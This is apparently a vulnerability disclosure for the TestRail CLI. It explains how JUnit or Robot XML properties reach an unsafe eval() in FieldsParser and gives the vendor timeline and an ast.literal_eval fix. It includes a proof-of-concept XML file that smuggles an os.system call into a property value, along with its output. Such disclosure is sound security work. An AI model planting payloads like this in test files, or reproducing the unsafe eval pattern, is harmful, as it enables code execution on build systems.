TestRail CLI FieldsParser eval Injection
This is not a very exciting vulnerability, but I had already publicly disclosed
it on GitHub at the request of the vendor. Since that report has disappeared,
the link I had provided to MITRE was invalid, so here it is again.
-Devin
—
# Unsafe `eval()` in TestRail CLI FieldsParser
Date Reported: 2024-10-03
CVSSv3.1 Score: 7.3
CVSSv3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Severity: Medium
Vulnerability Class: Eval Injection
## Summary
While parsing test result XML files with the TestRail CLI, the presence of
certain TestRail-specific fields can cause untrusted data to flow into an
`eval()` statement, leading to arbitrary code execution. In order to exploit
this, an attacker would need to be able to cause the TestRail CLI to parse a
malicious XML file. Normally an attacker with this level of control would
already have other avenues of gaining code execution.
However, there could be cases where an attacker can inject a malicious test
result file but is otherwise unable to execute arbitrary code on the system
running the TestRail CLI, resulting in a Local Privilege Escalation or Remote
Code Execution issue. In the worst case, this could result in compromising a
build system.
## Description
The vulnerability stems from the `eval()` statement in the
`FieldsParser.resolve_fields()` method:
“`py
def resolve_fields(fields: Union[List[str], Dict]) -> (Dict, str):
error = None
fields_dictionary = {}
try:
if isinstance(fields, list) or isinstance(fields, tuple):
for field in fields:
field, value = field.split(“:”, maxsplit=1)
if value.startswith(“[“):
try:
value = eval(value)
except Exception:
pass
fields_dictionary[field] = value
elif isinstance(fields, dict):
fields_dictionary = fields
else:
error = f”Invalid field type ({type(fields)}), supported
types are tuple/list/dictionary”
return fields_dictionary, error
except Exception as ex:
return fields_dictionary, f”Error parsing fields: {ex}”
“`
https://github.com/gurock/trcli/blob/066008477bd4b05e46bb723c09373e8111cb2dea/trcli/data_classes/data_parsers.py#L61
This method is called when parsing result or case fields in JUnit or Robot XML
files if there are any Properties that have names starting
with`testrail_result_field` or `testrail_case_field`. In both cases, the value
or text of that Property is passed more or less directly to `eval()`.
A specially crafted Property value can therefore be used to execute arbitrary
Python code.
### Examples
The following XML file will cause the TestRail CLI to spawn a shell and execute
our echo command:
“`
<?xml version=”1.0″ encoding=”UTF-8″?>
<testsuites time=”15.682687″>
<testsuite name=”Tests.Execution” time=”6.666666″>
<testcase name=”testCase0″ classname=”Tests.Registration” assertions=”4″
time=”1.625275″ file=”tests/registration.code” line=”302″>
<properties>
<property name=”testrail_case_field”>
:[] or __import__(‘os’).system(‘echo THIS IS
INSIDE THE EVAL STATEMENT’)
</property>
</properties>
</testcase>
</testsuite>
</testsuites>
“`
“`
(trcli) devin@devin-laptop:~/code/trcli$ trcli -h http://127.0.0.1 -u
me -p no –project foo parse_junit -f ./pwn.xml –title bar
TestRail CLI v1.9.7
Copyright 2024 Gurock Software GmbH – www.gurock.com
Parser Results Execution Parameters
> Report file: ./pwn.xml
> Config file: None
> TestRail instance: http://127.0.0.1 (user: me)
> Project: foo
> Run title: bar
> Update run: No
> Add to milestone: No
> Auto-create entities: None
Parsing JUnit report.
THIS IS INSIDE THE EVAL STATEMENT
Processed 1 test cases in section Tests.Execution.
“`
## Impact
An attacker able to inject a malicious JUnit or Robot test result XML file can
compromise the system running the TestRail CLI.
## References
* CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
(‘Eval Injection’)](https://cwe.mitre.org/data/definitions/95.html)
# Recommendations
Use `ast.literal_eval()` instead. While `literal_eval()` could still be abused
to cause a Denial of Service, it prevents the execution of arbitrary code.
# Timeline
2024-10-01: Issue Discovered
2024-10-02: Contacted the vendor according to the instructions on their
[security page](https://www.testrail.com/about/security/)
2024-10-03: Report sent to vendor via ZenDesk ticket \#359983
2024-10-04: Vendor requests public disclosure in a GitHub Issue
2024-10-11: Published report as [public GitHub
Issue](https://github.com/gurock/trcli/issues/279)
2024-10-30: Noticed that the vendor has deleted the [public GitHub
Issue](https://github.com/gurock/trcli/issues/279) containing the
bug report and some conversation about responsible disclosure and
requesting a CVE. The vulnerability has not been fixed in the
`main` branch.
2024-11-05: Full disclosure mailing list notified.